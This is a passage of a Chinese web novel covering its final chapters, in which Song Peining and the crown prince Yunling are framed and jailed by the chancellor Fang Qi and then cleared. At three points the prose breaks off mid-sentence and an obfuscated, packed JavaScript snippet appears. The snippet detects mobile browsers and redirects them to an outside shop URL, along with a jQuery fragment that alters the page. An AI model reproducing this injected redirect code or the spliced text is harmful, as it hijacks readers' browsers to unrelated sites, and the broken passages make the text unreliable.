如今慈幼院被会毁,没有地方可以这么多的人,宋沛宁正在犯愁,云翎站出来说:“如果各位不嫌弃,可以先到我的一处闲置庭院稍作歇脚。” 云翎说的闲置庭院,其实是一处皇家庭院的分院,平时皇家出游,随行的宫女太监没地方歇脚,就在此处暂为歇脚。现在皇帝颐养在宫中,闲下来的这处地方宽敞,院落只有专人在定时打扫,平日里只有宫女太监走动所以也没什么讲究。 只是去的路远了一些,没有多余的马车,过去只能靠脚程。矿工们听到这表示都不在意,如何走远路,想必也不会再有在矿场里没日没夜做苦力的苦。 与矿友们一拍即合,定好了在半个时辰出发,临走前想带什么东西的都收拾好,等到官兵们接管此处,就是想回来拿也不能了。 交代完,云翎和宋沛宁一行先回了轿子,云翎拉着宋沛宁,轻声提醒宋沛宁小心石子,末了继续嘘寒问暖,生怕这一遭累坏了宋沛宁。 小五六七见状,三个小兄弟果然心有灵犀地火速凑在一起研究起来。 小五说:“刚才你们听到没?女公子成了太子妃,那云先生岂不就是太子?” 小六说:“如果云先生是太子,那我们慈幼院上上下下的学问就是太子亲授的,太子殿下教我们这些不学无术的……会不会有点太大材小用了?” 小七笑说:“谁说我们不学无术的,都会用不学无术的成语了,哪里是不学无术的人?” 小六听了深以为意地点了点头。 “没想到女公子就这么仓促地成为了太子妃,好委屈女公子。” 话这么说开,几个人心里都有点遗憾,附和道:“是啊,以前觉得女公子这么好,就是当今太子殿下配女公子都有些配不上。” 看眼宋沛宁走远了,小五连忙托随行来营救的侍卫小心带上裴掌事,还有同样立功的小一,拖家带口地小跑着跟上宋沛宁。 入秋后天长越来越短,安顿了流离失所的矿工再返回京城,天色隐约擦了黑。 今日端了矿场大获全胜,本该宋沛宁做东好好庆祝一下的,可惜慈幼院没了,一群人想聚聚都没地方,只好择日再说,毕竟大家相识一场来日方长。 云翎最先离开,宫里还有一大堆事等着他,矿场的折子也要熬夜写了。云翎走后,小一也没多留,宋沛宁本想如今案子告破,小一可以回慈幼院与他们一起住,不想小一却推脱了。 小一今日的神情一直显得落魄,想来也是,大半年沉浮挣扎在今天终于有了结果,任谁都要感慨一番。 于是宋沛宁也未多留,亲送了小一至医馆门口,小一临走时,宋沛宁还如家人般宽慰地拍了拍他的肩。 “过了这么久,你原先的住处也不知道会不会再为你留着,如果没地方住,随时回来找我。” 小一谢了谢宋沛宁,趁着周遭无人,转了话头开口问道:“你与太子当真要成婚了?” 宋沛宁点点头,如实回答:“这件事是真的。” 小一追问:“怎如此突然?你才来京城不足一年,与那人相识更是短暂。” “很久了。”宋沛宁说,想起云翎,她很自然地笑了起来,脸颊露出小一从前少见的少女的潮红,宋沛宁轻轻告诉他,”我们互相倾慕很久了。” 后面的话,小一觉得没有了再开口的必要,于是两人在门口告别,殊不知是最后一次并肩同行。 小一独自离开医馆后没有回到从前的住处,夜色之中,径直穿过街巷,来到宰相府的大门前,叩响门闩。 出来应门的是宰相府内值夜的小厮,凭着身在宰相府当值的特殊身份,府里的小厮们一向横行跋扈。 小厮给大门先是敞开了一条缝,顺着门缝眼珠子极快地上下打量了一圈小一,只见小一只身前往,未携车马,衣裳虽光鲜却是旧了皱了点,认定并非宰相府值得结交的人物。 于是语气不耐烦地朝小一摆了摆手,“哪来的乞丐来宰相府门前撒野?去去去,这不是你该来的地方。” 小一听着门童说这话也并不恼,反而像是早就预料到了他能有如此反应一般,从身上搜刮出所有剩下的银钱,顺着门缝恭敬地给门童奉上。 讪讪地陪笑说道:“您多担待,我没来错,找的就是宰相大人。烦请您通融一二,帮小的给大人带句话,就说矿场封了,矿场主被生擒,我是此前与矿场主做戏的徐公子,特来投靠宰相大人。” 那天之后,小一再也没有出现在医馆,起初宋沛宁派人找过,但始终没打算出来消息,所以宋沛宁只能期盼小一次次都能像这一次一样化险为夷。 矿场主被抓下了大狱,连同他此前做牙子的种种恶行全都被呈给了皇上。鉴于他有贩卖人口的前科,来到京城后仍然在矿场会做贩卖人口的老勾当,如今举国上下牙贩子猖獗,矿场主势必要被严惩,杀鸡儆猴。 矿场风波过去没多久,远在庭院避难的矿工们坐不住了。一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575502|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次听说救了他们的女公子房屋被矿场主尽数烧毁,纷纷自发组成护卫队,自愿为宋沛宁在原址重新建筑慈幼院。等到新的慈幼院起了个雏形,晚上睡觉白天动工,便都留在慈幼院里了。其余未能来帮忙的,也都重新为生计打算,各奔东西,当初来的一群人,全都在陆陆续续搬出了庭院。 没过几天,就是宋沛宁十七岁的生辰。 作为预备的太子妃,皇上对这名未来的儿媳妇格外看重,设皇家宴席为宋沛宁庆生。宋沛宁那日赴约,也着实打扮得隆重,十分看重。 虽都是皇家人,但宫里人际关系错综复杂,云翎不想让宋沛宁一生仅有一次的十七岁生辰沦为皇族社交的工具。于是主动请示皇上,是否可以只宴请自家亲近之人,太远的不相干的嫔妃皇子留到下次宴席再见也不迟。 皇上一听有理,自己这儿子自从重回宫中,性格极其冷漠,对周遭所有的事情始终漠不关心,笑都不甚多笑几下,有人在他心中地位如此之重,被他这样珍视考虑着,让他觉得云翎这孩子这么多年,总算有了点人情味。 人情味有了,人世间才能留住他。 皇上乐不得地同意,下令宴席安排全都依太子的意思,宋沛宁赴约那天,只有皇上、太子、宋老爷和宋夫人,再无旁的外人。宴席准备的是临舟家乡菜,宋沛宁吃得高兴,笑容始终挂在脸上,后来听说是宋沛宁宋府自家的厨子,太子派人八百里加急请过来的。 吃罢晚饭,两个年轻人手拉手在宫里闲庭信步,吹着晚风数天上的星星。 云翎知道宋沛宁嘴上没说,其实早就偷偷惦念起家乡,从小不幸离家的人,对家的信念格外的重。 云翎抱歉地说:“阿宁,对不起,你嫁给我不能回临舟了。” 宋沛宁今夜心情很好,哼着小曲摇了摇头,“我确实当你还只是云翎的时候,无数次地幻想过带你回家,不过,看在你是真心为国为民忧心的好太子,我就原谅你了。” 云翎笑笑,侧头柔柔地看向宋沛宁,在她的手背上落下一个很轻的吻。 “谢谢你,阿宁。”云翎说,每次看向心上的人,他的眼睛即使在寂寂的夜里也依然发着向往的光亮,“你的心愿,我一定会帮你实现。” 听到这句与多年之前毫无二致的话,宋沛宁的心头忽然涌上一阵心酸,她抬手摸了摸云翎的头发,她看向他的目光也很亮。 “阿回,我长大了,也许和多年前想的不一样。我可能不再像过去一样固执,或者说,我如今已经做到了一部分,所以很贪心,我有了新的心愿。” 云翎看着宋沛宁不语。 “我现在的心愿是,希望我喜欢的人可以开心,无拘无束地做他自己,为了自己而活。” 宋沛宁十七岁生辰许下的愿望,是希望云翎心想事成。 她很自私,有时候想到阿回吃了这么多苦,会很愧疚地埋怨自己。如果当初她没有痛哭着把自己的怨恨和不安强加在他身上,那阿回如今是不是会活出一个完全不同的人生。 宋沛宁十七岁的第一天,太阳如约升起,是个大晴天。 她从暂居的医馆里醒过来,穿好衣服照例给黄大夫的医馆帮忙,准备开门营业。 医馆外,再次传来一阵熟悉又匆忙地脚步声,是从宫里来的人。 “太子妃,您还是自己跟我们走一趟。”来的人语气不耐,带着几分落井下石的讥讽,“若我们要押您回去,想必也不好看。” 42. 卿卿 原在慈幼院整修的人相继失踪了好几个。起初没发觉,以为做到一半不想做了,但对宋沛宁有恩不好意思正大光明地走,于是乎趁着人不注意偷偷溜了小道。 可连续几日都是如此,最后还是惹了大家的怀疑。一众矿工里年纪最长的老陈,也是此次提出主动帮女公子修缮烧毁慈幼院的组织者,帮助女公子是出于大伙一致的好意,理应做到尽善尽美,不叫女公子忧心,但慈幼院出了这样的事,还是要如实说与女公子。 可眼前就是女公子的生辰,不想搅了女公子清净,本打算等女公子生辰一过就去禀告,没想到不知是谁先行了一步,把女公子带走了。 下令捉拿当朝太子妃,不是谁都有这个胆子和魄力。宰相大人方祁为国为民当仁不让,越过皇帝和太子,赶在早朝前下发了逮捕令,乃是以雷霆之势先斩后奏。 早朝上,方祁有备而来字字珠玑,参奏宋沛宁借慈幼院的美名在民间假公济私,没那么神圣,也没那么伟大。修缮慈幼院,宋沛宁以家中银票尽数烧毁为由,至今为止未给工匠结一文钱,指不定是剥削压寨百姓的惯用手法,失踪的人至今下落不明,越想越觉得太子妃此人没那么简单。 宋沛宁是否假公济私可以自证,修缮慈幼院未结银钱是矿工们的自愿,但慈幼院的人接连失踪却是事实。云翎一时没法辩驳。纵使他在朝上说破了天,就算宋沛宁与失踪的人有关系,那也应该证据确凿再抓人,没有先押了人去的道理。 但事已至此,人已经抓进去了,皇帝即便有心偏袒,但当着文武百官的面也不能有失偏颇。 宋沛宁不能放。 云翎下了朝,安排自己的人去通知刑部对太子妃多加照顾不得用刑,太子妃缺什么就给她补什么,最好让她跟在自己家里时没有差异,太子妃若出来缺了一根头发也要那他们试问。交代完这些,他打算抽出身走一趟慈幼院看看究竟怎么一回事。刚要启程,身后的方祁不知从哪里冒了出来,堆得满脸的笑意,人是恭敬谦虚的,却从笑意重之中隐隐透着对云翎的敌意和杀意。 “太子殿下这是要去哪里?”方祁笑着走进,身后是武装整肃的御林军,“太子妃的事,自有陛下特派的人查清楚,我也相信太子妃是无辜的,我们静候佳音就好。” 顿了顿,收回原有的笑意,目光中闪出冷厉,“太子不妨去老臣家坐坐,殿下好久为至老臣家中温书,方才请示过陛下的意思,陛下也允了。您今日就来宰相府,我们师徒二人许久未叙了。” 方祁说完话,面上的表情全无,不等云翎回话,武装的御林军上前一步,对云翎做了一个恭敬但也不容他拒绝的手势。 “请吧,太子殿下。” 宋沛宁怎么也没想到,十七岁生辰送给自己的第一份大礼,刑部大牢走一遭。 此前她不是没想过捣毁矿场方祁会如何跳脚如何报复,没想到破绽竟是在她自己的身上。早朝过了没多久,云翎的人赶到,带着人手给她的牢房从里到外恨不得翻新一遍。再三确认没有其他需求了,才将将告退。 宋沛宁脚踩着牢房长年不换散发着腥臭气味的杂草,坐在刚才送来的柔软床被上,确定自己很快就会出去。云翎还在外面,他一定会想尽办法救她,和裴钱霍合力兴许很快就能查到事情的真相。 可惜等着一整天,枯坐了一整天,挨到傍晚,等到刑部的审问官。 审问官是个笑面虎,命人把宋沛宁带我审问室并没有立刻对宋沛宁严刑逼供。审问官见到她,先拱手鞠躬看似有礼,笑容却扭曲怪异,只会让人恐惧。 审问官说到此处,抬了下眼皮,盯着宋沛宁的脸故弄玄虚地顿了顿,声音沉沉的,像是真的为她着想,但预见到宋沛宁接下来遭遇的惨状,率先笑了起来。接着,从口袋里拿出一罐密封的罐子,有点得意地介绍道:“这是下官自制的百步噬骨蝎,中毒后全身奇痒难忍,三日毒发回天无术。太子殿下确实叮嘱过不许对太子妃动刑,但您说说,大牢里阴暗潮湿,生出此等毒物不小心咬了太子妃,也是谁都预料不到的事,对吧。” 宋沛宁听完话,屈尊垂眼朝装着毒蝎子的罐子看了一眼。毒蝎子甩着剧毒的尾,密密麻麻地封存在闭塞的罐子,来回地蠕动。光看一眼,宋沛宁就觉得自己要呕了。 审问官见状,轻笑着说道,耗费掉最后的耐心:“下官真的是为太子妃好,我瞧太子妃生得如此娇媚,忍不住多说几句,就此香消玉殒实在可惜,不如太子妃先认了,想必太子殿下为了救您也会想办法,何必遭受这样的苦。” 宋沛宁最后也没招,被人架着,重新回到她的牢房里。 睡到半夜的时候,果然听到地面上的杂草窸窸窣窣的声音,宋沛宁不安地坐起身,却不知从什么时候起,狱卒把灯熄了。 一片黑暗中,宋沛宁仅能凭借自己的知觉分辨周遭的环境,支在床塌的手冷不防地一阵刺痛,没来得及收回手,小腿处也传来相同的痛感。 宋沛宁想也许自己中了毒蝎的毒手,趁着毒性没发作,她得尽可能找到高处避一避。可是牢房空空荡荡,没有能够支撑她的地方。她站起身,不敢穿鞋,光着脚在床塌走来走去,伸手摸着凹凸不平的墙壁,试图能够寻找到登高的点。 这期间,小腿和手臂又分别被咬了几次,毒蝎子闻到血腥味,纷纷朝她的方向爬过来,刺痛一次一次传来得更加频繁。 黑暗中宋沛宁显得有些无助,伸手想去抓,好几次都摸了个空,后知后觉地拾起鞋底去拍,似乎也是徒劳。很快,蝎毒的药性蔓延开来,眼前好像翻起花,头脑昏沉,呼吸也跟着困难。 不知离日出还有多久,宋沛宁渐渐失去抵抗的力气,身体的刺痛变得不痛不痒,支撑不住,一个踉跄滚下了床。 “事情都办好了,您就放心吧。” 牢房外,传来二人的低语声,似是从别处探监正要此处。可是这个时间,绝不是正常的探监时间。 “宰相大人叫我务必亲自确认,烦请您带个路,行个方便。” “自然自然,您这边请。” 狱卒点头哈腰,狗腿得紧,二人的谈话声像是隔着一层水雾,似近似远,宋沛宁在昏沉的头痛下,觉得自己许是毒性大发,产生了幻觉。 这是大牢,不是她温暖舒适的慈幼院,没有会有小一的声音。 随着来人的脚步接近,刚要擦身经过宋沛宁的牢房,其中一人忽然像是感应到了,忽然停住了脚步。 “为何这间这样黑?” 狱卒为难地回答到:“这是审问官大人特意交代的,大人还是不要问了。” 狱卒说完,便催促小一离开,小一用手一挡,说了句“且慢”,兀自靠近了牢房。 他盯着黑漆漆的牢房,明明什么都听不见,却总觉得这间牢房有什么吸引力,贴近牢房长满霉斑的木桩,屏息分辨许久终于听到牢房里微弱的响动。 是宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581954|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沛宁。 微弱的呼吸声里,夹杂着微弱的呼救声。 “小一……?是你吗?” 直至分辨清楚,小一慌张地向后退了几步。 “小一,你怎么在这,你投靠了方祁?” 宋沛宁拖着沉重无力的身体,好不容易靠近牢房的边缘,两人在幽暗的牢房里四目相对,从此便是互为敌对了。 “方大人如何交代,叫你来杀了我吗?” 宋沛宁看向小一,动了动失去血色的嘴唇,这样问道。 “……不,不是。” 那一瞬间,小一许是因为羞愧,许是因为他突然问意识到,他再也不会拥有宋沛宁了。无论是以站在宋沛宁身边的那个人的身份,还是以归属于慈幼院的孩子的身份。 他不是来看宋沛宁的,方祁唯恐云翎从矿场主为突破口翻案,先下手为强,连夜命人用一碗毒饭,已经送矿场主去了西天。 他来是为了矿场主是否身死,他不知道怎么是宋沛宁在牢里。这和宰相当初承诺得不一样,他去投靠宰相,从来针对的就只有云翎一个人。 面对宋沛宁的质问,小一哑口无言,手足无措地愣在宋沛宁的牢门前,转而发狠似的拽过狱卒地衣领,不断地质问“怎么回事”。 狱卒立刻慌了,哆哆嗦嗦说不知道,小一让开门,起初也不敢开,拿圣上太子宰相吓唬住了,才哆哆嗦嗦地跪下,说太子妃的钥匙不在我们身子,在审问官手上。 这样一来想让审问官开门,得让宰相大人先点头才行。 小一反应过来,转头尽量笑着对宋沛宁说:“阿宁你等着我,我去找宰相大人,我一定救你出来。” 宋沛宁轻笑,比小一豁达许多:“没用的,小一。我是因为谁的陷害才进来?” 小一被问得说不出话,自惭形秽地放下了抓在木栏上的手。 宋沛宁抬起头看他,连续问了他好几次碎在地上他接不住的“为什么”。 “你也是曾经被那些无心牙子迫害到无家可归,毁掉整个人生的人啊,所以为什么?为什么要站在自己的对立面,你可以轻而易举忘记你的从前,但是看不到现在的孩子正经历的童年吗?所有的孩子都走上你我的老路,是愿意看到的场景吗?” 小一垂头丧气地走了,没有回答宋沛宁的质问。他临走前,嘱咐狱卒给宋沛宁留一盏灯,又问及阿宁的伤势,狱卒只会诚惶诚恐地摇头。问到最后,小一像是累极了,无力地挥了挥手,说了一句“算了”。 天刚蒙蒙亮的时候,寂静的大牢内再次传来躁动。宋沛宁隔壁的牢房被打开,推进来一个身形熟悉的人。 狱卒锁上门,没有多停留便离开了。宋沛宁揉揉眼,很怕自己看错,借着不亮的晨光看清来人,急忙跑了过去。 “阿回!” 二人隔了一排腐烂的木头栏杆,将两个人搁在两端。 “你怎么也进来了?” 云翎看看阿宁,透过栏杆去抓她的手,问她昨日在大牢里好不好。可是就算亲眼看到了,也还是不放心,又让宋沛宁转了一圈确认没事才放下心来。 看着云翎担忧的目光,宋沛宁瞒下了昨天的事,“外面出了什么事?” 外面啊,外面当然翻了天了,这天下怕是都要易主了。 云翎不知道从哪说起,只得先无奈地笑了一下。 “我有一个好消息,和无数个坏消息。你想先听哪个?” 43. 卿卿 方祁陷害宋沛宁入狱,他和云翎积攒多年的矛盾就算拿上台面来。云翎确实想过能从矿场主处审问什么有用的证据,拉方祁下马,但他也一样知道,矿场主活不过当晚。而逃不过当晚的还有他自己。 方祁发了狠,势必借着这次机会除掉他们一对,于是自断其臂,端他名下的另一处青楼嫁祸给云翎,上奏云翎长年暗中经营青楼生意,为了青楼女子的品相,同时兼顾贩卖女童的生意。字字句句,似是板上钉钉,人证物证皆是齐全。 云翎与宋沛宁蛇鼠一窝,表面上风光无限的大善人,谁会白白花着银子只为听一句称赞,其中蹊跷想也是有利可图。哪有什么庇佑流童的慈幼院,就是一家方便买卖幼童的驿站。 云翎被刑部的人带走的时候,和宋沛宁被带走时的做法很像。方祁吃了熊心豹子胆,越过皇帝,连太子都敢动。 这便是坏消息之二,皇帝偏巧昨夜染上风寒,昏睡不行,所以今日的早朝也免了。 这下怎么看都不只是除掉云翎和宋沛宁两个绊脚石的事情,方祁好大的胆子,竟然连皇帝的主意都敢打,他这一回是冲着整个天下来的。 宋沛宁沉思了半响,不解地问道:“方祁怎能有这么大的胆?” “当年宫中政变,陪我父皇打翻身仗的就是方祁。当时方祁还是当朝的一个小文官,自从那次算是一战成名,成为我父皇的心腹,一跃成为一人之下万人之上的宰相。可是也不知道是什么时候开始,方祁变了,我父皇心知肚明,明知道方祁以权谋私,但念及当年恩情,从来睁一眼闭一眼。我本想等待此次收网,收集了证据再上奏父皇,可惜被方祁抢先了一步。” 云翎带来的坏消息听到这里,宋沛宁还算能保持镇静,于是问道:“除此之外还有别的坏消息吗?” “还有一个。”云翎点点头,勉强笑了一下,对她说,“如果我没算错的话,你我明日将会被押送至边境流放,永不能回京。我们被送走,父皇身边再无可用之人,天下就是那方祁老儿的了。” 宋沛宁听闻,也无奈地弯了弯唇角,“那是有够糟糕的。不然我再听听好消息吧。” “好消息是方祁这些小心思全都被我先算到了,我在进来前提前把兵权交给了裴钱霍,守住父皇和皇宫的安全。我本可以避免此次入狱,但思及你在狱中,心里实在放心不下,只要将计就计才能过来陪你。” 见云翎嬉皮笑脸,宋沛宁轻拍了他一下,让他赶紧说正事。 于是云翎稍微正色,接着说道:“方祁用自己的产业也算病急乱投医,此乃下下策,既然露出马脚,不怕我逮不到。我早就交代了小五六七混进青楼去查,青楼易主想必正是最薄弱的时候,想要查并不难。“ 想到小五六七,宋沛宁笑了一声,“让他们三个逛青楼,青楼岂不是人仰马翻了。” 云翎说:“我和方祁交手,本也都是各靠各的险棋一招,况且我们还有一个筹码。”云翎说到此处,顿了顿,说些支吾,“你可能不知道……小一投靠了方祁,救下的矿工去向以及慈幼院的细节,兴许就是小一透露给方祁的……” “这个我已经知道了。”宋沛宁我愿意深说小一的话题,径直问,“你还是继续说你的计划吧。” “小一现在是方祁的走狗,加之他此前与矿场主联合做戏整的一出善财徐公子,手上方祁的把柄肯定不少,如果能说服他,我们翻盘的概率会更大。” “他不会愿意的。”宋沛宁小声反驳云翎,跟着自己轻叹了口气。 宋沛宁不知道是不是自己猜对了。 接下来的一天,过得十分平静。狱卒来往走动,却没有为他们带来过消息。碍着云翎的面子,审问官没有再出现过,但前夜已经给那帮毒蝎子交过手了,宋沛宁能感到体内慢慢流失的亏空。 傍晚的时候,官吏公事公办地带着圣旨来。皇帝亲下的口谕,云翎和宋沛宁果然被判流放,明日囚车押运出京,游街示众。 即使流放在二人的预料之中,可接到圣旨后内心还是久久无法平静,等待明日游街的时间显得更加漫长。 夜深人静,宋沛宁隔着一团看不清的夜,问云翎:“我们明天真的会赢吗?” 云翎不确定,声音很低,但还是愿意给宋沛宁希望,遂安慰着她。 “会,阿宁,你别担心。”云翎动了动嘴唇,忽然又问,“如果,我是说如果,明天失败了,你会怪我吗?” “不会。”宋沛宁摇了摇头,反过来安慰起他,“就算明天失败也在情理之中,如果注定要失去一些特权,就当从来没有拥有过,继续生活。重点里我们曾经并肩在这里努力过,为了同一个伟大的,甚至是明知道崎岖的目标战斗过,哪怕是一段短暂的时间,起码守护着京城和平过。也很厉害,不是吗?” 云翎靠在冰冷的墙壁上,侧过头,看不到宋沛宁的表情,却能感受到阿宁的声音里十分温柔的力量。 “你呀,惯会说些好听的话哄我开心。流放的边境很苦,以后就没有宋女公子。” 宋沛宁自顾自想象无人的沙漠和绝壁,也许真的很苦吧。 “没事,我这个人从小就擅长没苦硬吃,天不亡我,总能让我找到别的出路,倒是你,以后就没有太子殿下了。” 云翎被宋沛宁逗笑,在黑暗中短促地笑了一下。 “好巧,我这个人也从小就擅长没苦硬吃。” 第二日,宋沛宁和云翎两人被押送进囚车。从阴暗的大牢连续住了几日,突然重新见到太阳眼睛被正午直射的阳光直晃得睁不开眼。 囚车缓缓行进,眼前尽是熟悉的街道,她在京城发生的一幕幕,不断地闪现在她的脑海中。沿街站满了为她送行的人,她看见初来乍到时,误会她的屠夫张,五大三粗的人抱着自家的囡囡默默地站在路边目送他,眼中竟也含着不舍和温情。 行进到医馆,又见到成群结队的熟悉面孔。有黄大夫还有许许多多的学徒,阿映和虎子站在一处苦着脸,见到宋沛宁的囚车立刻泛起鼻酸,固执地追着车子一直跑,边跑边用布衣袖子堵住涨红的眼睛。 宋老爷子也出来,好像一夜之间又老了好几岁,弓起苍老的后背生平第一次觉得保护不了自己的闺女而无能为力。早知道有这么一天,即便他的阿宁要恨她,他也绝对不会同意她来京城。 可是一切都晚了,他老了,手掌撑不起来保护她的阿宁的天,现在女儿要去很远的地方,他也追不上了。 “阿宁……我的阿宁啊……” 宋老急得哭了起来,追着车子几步便追不上了。他气喘吁吁地停下来,回头忽然发现好多小乞丐都在追着囚车。 年轻的孩子身体也还轻盈,三五成群地结着队,源源不断地从四面八方集结了过来。一时间,宽敞的大街挤满了形形色色的乞丐。 小乞丐们自行组成人墙,挡住了囚车的去路。 “女公子,不要走!” “你们不要带女公子走!” “把女公子还给我们!!” “女公子做了这么多好事,对我们这么好,外面还有那么多坏人,为什么要抓好人,为什么不去抓坏人!” 押送官本想驱逐,但街上的人实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583805|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多了,围着宋沛宁的囚车直围了个水泄不通。 周围看热闹的百姓一听事情原委,受到鼓噪,也纷纷抗议,加入战局。 “还女公子清白!还女公子清白!” 宋沛宁见此状,只好发声,在原地大喊地平复路人的心。 “各位听我说,不要阻止官府办事,这样对大家的安危不好。自古以来,不是所有正义的拳脚都能驱逐黑暗,我失败了,只能做到这里了,但是希望在我之后还能有人站起来,继续我的斗争。一个倒下了,另外一个再站起来,这是属于我们百姓的力量!每个人的力量加在一起,我相信早晚会有战胜那些黑暗的一天,希望到时候,所有的孩童都可以平安地长大,与家人一起度过美好的童年,再度过平凡又安稳的人生。我的话,大家都听进去了吗?一定一定不要失去我们最开始的初心!” 宋沛宁说完话,在众人的叫好声里,有一个最羞愧、最后悔、最如芒在背的身影。小一也来送送宋沛宁,他犹豫着踟蹰着,拼命地想把自己隐藏在人群里,又怕宋沛宁真的看不见他。 直到宋沛宁像是用尽了剩下的全部力气,宛如秋日一片将落的落叶,斜斜地失去意识倒了下来。 小一颤抖着手臂,握紧拳头,向上举了起来,一鼓作气索性踩在更高的地方,大喊了一声。 “草民有事禀告。” 阿宁,那地方太远,知道你最喜欢回家,那个地方让该去的人替你去吧。 后来调查了才知,皇上的那些所谓圣旨都是掌房的小太监在方祁的指使下给皇上下了迷药,按照方祁的意思下的圣旨。小一的证据确凿,方祁罪恶滔天,在贩卖幼童这事上已经做了快二十余年,皇帝知道此事后龙颜大怒,本以为方祁只是小贪,没想到竟有这么大的胆子。当即派人捉拿宰相,下令抄了宰相的家。 方祁自知逃不过这一劫,带着老婆孩子早就跑了,他自己平日里养了一些小兵,正好在此时派上用场。原想冲进宫里改了这天下的姓,不想宫中已有埋伏,裴钱霍带兵埋伏许久正等着方祁自投罗网。方祁这一招也是慌张心急出错了,一世英名却当场被乱箭射死。 小五六七不负众望我,混迹情场后也全身而退,取得证物,证明了云翎的清白。失踪的矿工在青楼的地窖里被找到,宋沛宁也跟着离开的大牢。 只是宋沛宁的伤拖得有些久了,好在句当初审问官与宋沛宁相谈时留个心眼,并没有用真的毒蝎,而是普通的蝎子。本以为太子妃金枝玉叶,没吓唬两句必定什么都招了,没想到太子妃女中豪杰咬紧牙关,最后也没招。 这倒是惨了宋沛宁,哪怕是普通蝎子也足够她鬼门关走一遭,养了半月才下地,但总觉得宋沛宁的身子仍是虚的,却是无法完全恢复到从前。人刚好一点,就惦念着自己那建到一半还荒废着的慈幼院,大家纷纷按住她:女公子您少操点心吧,如今慈幼院举国开得到处都是,已经列入官家机构名单,您现在也是第一慈幼女官啦。 小一念在检举有功,功过相抵,落了京城的大牢,服刑三年,刑满释放。 同时,皇帝也在自我反省中度过了半年的时间。若是没有皇帝的纵容,方祁断不会猖獗到今日之程度,他一人之失,酿成的是整个天下的苦难。 皇帝越想越觉得难堪,想是自己老了,识不得人心,没过几日,自愿下令退位,皇位传给了云翎,云翎登基,改国号为泰治,娶太子妃为皇后,封号“慈幼娘娘”。 山河大地,海晏河清。 该相爱的人相爱百年。 =完= 2024/9/10